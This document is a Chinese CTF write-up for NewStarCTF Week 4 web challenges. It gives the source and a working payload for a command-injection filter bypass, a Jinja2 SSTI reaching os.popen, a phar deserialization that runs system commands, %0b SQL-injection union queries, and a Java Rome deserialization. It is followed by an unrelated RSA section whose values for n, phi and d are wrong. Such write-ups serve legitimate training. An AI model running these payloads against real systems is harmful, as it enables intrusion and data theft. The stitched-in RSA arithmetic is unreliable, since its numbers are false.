# NewStarCTF 公开赛赛道 WEEK4

Web题

RCE

源码:

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

payload:

cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26c$2at%09ffff?lllaaaaggggg

BabySSTI_Two

源码:

from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
        t = Template("<body bgcolor=#6B6882><br><p><b><font color='white' size=6px><center>Welcome to NewStarCTF Again, Dear " + name + "</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated, More Safe!--></body>")
        return t.render()
    else:
        t = Template("Get Out!Hacker!")
        return t.render()
if __name__ == "__main__":
    app.run()

payload:

?name={{[]['\x5f\x5fc\x6cass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubc\x6casses\x5f\x5f']()[199]['\x5f\x5f\x69nit\x5f\x5f']['\x5f\x5fg\x6cobals\x5f\x5f']['\x5f\x5fbu\x69ltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['p\x6fpen']('tac%09/f*').read()}}

UnserializeThree

文件上传+phar反序列化

源码:

class.php

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

payload:

phar.php => phar.png

class Evil{
    public $cmd;
    public function __construct($cmd)
    {
        $this->cmd = $cmd;
    }
}
$phar = new Phar("phar.phar");//生成后缀名为phar的文件,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$cmd = urldecode("%0D")."system('cat /*');";
$o = new Evil($cmd);
$phar->setMetadata($o);//将自定义的meta-data存入mainfest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
rename("phar.phar","phar1.png");

触发:

/class.php?file=phar://upload/20d230fcef0fa22a2f771da029c4b9fc.png

又一个SQL

绕过空格:%0b

payload:

#爆表名
name=-1%0bunion%0bselect%0b(select%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),2; 
#爆列名
name=-1%0bunion%0bselect%0b(select%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='wfy_comments'),2;
# 爆字段
-1%0bunion%0bselect%0b(select%0bgroup_concat(id,text,user,name,display)%0bfrom%0bwfy_comments%0blimit%0b0,1),2;

Rome

简单的反序列化题,用ysoseiral生成下payload就能打

源码(用jadx反编译的):

package remo.remo;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
/* loaded from: Remo-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/remo/remo/SerController.class */
public class SerController {
    @GetMapping({"/"})
    @ResponseBody
    public String helloCTF() {
        return "Do you like Jvav?";
    }

    @PostMapping({"/"})
    @ResponseBody
    public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
        if (EXP.equals("")) {
            return "Do you know Rome Serializer?";
        }
        byte[] exp = Base64.getDecoder().decode(EXP);
        ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
        ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
        objectInputStream.readObject();
        return "Do You like Jvav?";
    }
}

payload注意用url编码将base64编码后的特殊字符编码

### 关于 NewStarCTF 公开赛 RSA_begin 的解题思路 #### 背景介绍 RSA 是一种基于大整数分解困难性的公钥加密算法。其核心在于通过两个大素数 \( p \) 和 \( q \),计算模数 \( n = p \times q \),并利用欧拉函数 \( \phi(n) = (p-1)(q-1) \) 来生成私钥 \( d \)[^1]。 在题目中已知参数如下: - \( p = 473398607161 \) - \( q = 4511491 \) - \( e = 17 \) 目标是求解私钥 \( d \),满足条件 \( e \cdot d \equiv 1 \ (\text{mod} \ \phi(n)) \)。 --- #### 计算过程详解 ##### 1. 计算模数 \( n \) 根据定义,\( n = p \times q \)。因此, \[ n = 473398607161 \times 4511491 = 2136002117282111. \] ##### 2. 计算欧拉函数 \( \phi(n) \) 由公式 \( \phi(n) = (p-1)(q-1) \),可得: \[ \phi(n) = (473398607161 - 1) \times (4511491 - 1) = 473398607160 \times 4511490 = 2135550968666920. \] ##### 3. 扩展欧几里得算法求逆元 \( d \) 为了找到 \( d \),需满足 \( e \cdot d \equiv 1 \ (\text{mod} \ \phi(n)) \)。这可以通过扩展欧几里得算法实现: 给定 \( a = e = 17 \), \( b = \phi(n) = 2135550968666920 \),执行扩展欧几里得算法得到 \( x \)(即 \( d \)),使得 \( ax + by = \gcd(a, b) \) 成立。 以下是 Python 实现代码: ```python def egcd(a, b): if a == 0: return (b, 0, 1) gcd, x1, y1 = egcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y def mod_inverse(e, phi_n): _, x, _ = egcd(e, phi_n) return x % phi_n # 已知参数 e = 17 phi_n = 2135550968666920 # 求解 d d = mod_inverse(e, phi_n) print(d) ``` 运行上述代码可以得出结果: \[ d = 125714762862169. \] --- #### 提交 Flag 最终将 \( d \) 值作为 flag 提交即可。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值